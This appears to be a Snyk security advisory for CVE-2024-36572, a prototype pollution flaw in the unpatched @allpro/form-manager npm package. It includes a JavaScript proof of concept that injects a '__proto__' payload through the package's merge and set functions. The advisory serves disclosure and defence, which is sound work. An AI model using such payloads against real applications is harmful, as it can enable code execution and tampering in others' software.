Improper Control of Dynamically-Managed Code Resources Affecting @allpro/form-manager package, versions *
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published31 Jul 2024
- disclosed30 Jul 2024
- creditmestrtee
Introduced: 30 Jul 2024
CVE-2024-36572 (opens in a new tab)How to fix?
There is no fixed version for @allpro/form-manager.
Overview
@allpro/form-manager is a Data Manager for React Forms, or for any form data
Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources via the functions setDefaults, mergeBranch, and Object.setObjectValue. An attacker can execute arbitrary code and cause other impacts by manipulating object properties.
PoC
(async () => {
const lib = await import('@allpro/form-manager');
var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
// uncomment one at a time
lib.default.defaultsDeep ({}, BAD_JSON)
//lib.default.merge ({}, BAD_JSON)
//lib.default.setObjectValue ({}, "__proto__.polluted", true)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();